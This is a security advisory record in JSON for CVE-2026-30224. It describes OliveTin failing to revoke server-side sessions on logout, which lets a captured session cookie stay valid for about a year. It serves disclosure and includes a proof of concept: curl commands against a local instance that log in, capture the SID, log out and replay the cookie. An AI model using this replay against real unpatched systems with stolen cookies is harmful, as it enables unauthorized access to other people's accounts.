{"schema_version":"1.9.0","id":"GHSA-gq2m-77hf-vwgh","published":"2026-03-05T20:53:08Z","modified":"2026-03-23T04:56:25.376217851Z","aliases":["CVE-2026-30224","GO-2026-4623"],"summary":"OliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session","details":"### Summary\nOliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year).\n\nAn attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.\n\nThis is a session management flaw that violates expected logout semantics.\n\n### Details\nDuring logout:\n```\n// Logout only clears browser cookie\nresponse.Header().Set(\"Set-Cookie\", localCookie.String())\n```\nHowever, the server still accepts the session:\n```\nsession := sessionStorage.Providers[provider].Sessions[sid]\n...\nreturn session\n```\nThe SID is not deleted from sessionStorage.\n\nWhy vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year).\n\nFile: [api.go](app://-/index.html?hostId=local#), [sessions.go](app://-/index.html?hostId=local#), [local.go](app://-/index.html?hostId=local#)\nLines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47\nBehavior\n- Login → receive SID cookie\n- Logout → cookie cleared client-side\n- Replay old SID manually → still authenticated\n\nExpected:\n- Logout invalidates session immediately\n\nActual:\n- Old SID remains usable until expiry\n\n### PoC\n\nMinimal config\n```\nlistenAddressSingleHTTPFrontend: 0.0.0.0:16642\nauthRequireGuestsToLogin: true\n\nauthLocalUsers:\n  enabled: true\n  users:\n    - username: low\n      usergroup: users\n      password: \"$argon2id$...\"\n\nactions:\n  - title: Dummy\n    id: dummy\n    shell: \"echo dummy\"\n```\n\n### Reproduction\n\nLogin and capture SID:\n```\nLOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"low\",\"password\":\"lowpass\"}')\n\nSID=$(printf '%s\\n' \"$LOGIN\" | awk -F'[=;]' '/olivetin-sid-local/{print $2}')\n```\nWorks before logout:\n```\ncurl -X POST http://localhost:16642/api/WhoAmI \\\n  -H \"Cookie: olivetin-sid-local=$SID\"\n```\nLogout:\n```\ncurl -X POST http://localhost:16642/api/Logout \\\n  -H \"Cookie: olivetin-sid-local=$SID\"\n```\nReplay old cookie:\n```\ncurl -X POST http://localhost:16642/api/WhoAmI \\\n  -H \"Cookie: olivetin-sid-local=$SID\"\n```\nResult\n\nUser is still authenticated after logout.\n### Impact\nType:\n\nSession Management Flaw\n\n- Logout Bypass\n- Session Replay\n\nRisk:\n- Stolen cookies remain valid\n- Persistent unauthorized access\n- Users falsely believe logout ended the session\n\nAttack scenarios:\n- Shared computers\n- XSS/session theft\n- Proxy logs\n- Malware/browser compromise","affected":[{"package":{"name":"github.com/OliveTin/OliveTin","ecosystem":"Go","purl":"pkg:golang/github.com/OliveTin/OliveTin"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260304233115-d6a0abc3755d15"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-gq2m-77hf-vwgh/GHSA-gq2m-77hf-vwgh.json"}}],"references":[{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/security/advisories/GHSA-gq2m-77hf-vwgh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30224"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/commit/d6a0abc3755d43107be1939567c52953bcbec3d5"},{"type":"PACKAGE","url":"https://github.com/OliveTin/OliveTin"},{"type":"WEB","url":"https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"}],"database_specific":{"cwe_ids":["CWE-384","CWE-613"],"github_reviewed":true,"github_reviewed_at":"2026-03-05T20:53:08Z","nvd_published_at":"2026-03-06T21:16:16Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"}]}